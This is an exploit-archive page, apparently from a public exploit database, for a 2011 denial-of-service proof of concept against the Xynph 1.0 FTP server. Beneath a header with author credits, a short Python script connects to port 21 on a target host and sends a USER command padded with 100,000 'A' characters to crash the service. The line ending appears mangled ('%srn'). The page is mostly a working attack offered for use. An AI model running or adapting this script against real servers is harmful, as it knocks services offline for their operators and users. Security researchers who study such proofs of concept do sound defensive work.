[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Xynph 1.0 USER Denial of Service Exploit
# Published : 2011-01-04
# Author : freak_out
# Previous Title : Microsoft Windows Fax Services Cover Page Editor (.cov) Memory Corruption
# Next Title : Wireshark ENTTEC DMX Data RLE Buffer Overflow Vulnerability


# Exploit Title: Xynph 1.0 USER Denial of Service Exploit
# Date: 04.01.2011
# Author: freak_out
# Version: 1.0
# Tested on: Windows XP SP3
# Type: DOS/POC
# Greetings: anco, mahjong, puddy, st!x, war10ck, fraggle, DarthShredder, krzym, starslayer, db
# E-Mail: freak_out@phcn.de

#DoS:
#!/usr/bin/python
import socket
import sys

buf = "A"*100000
host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,21))
print "Send USER " + buf
s.send("USER %srn" % buf)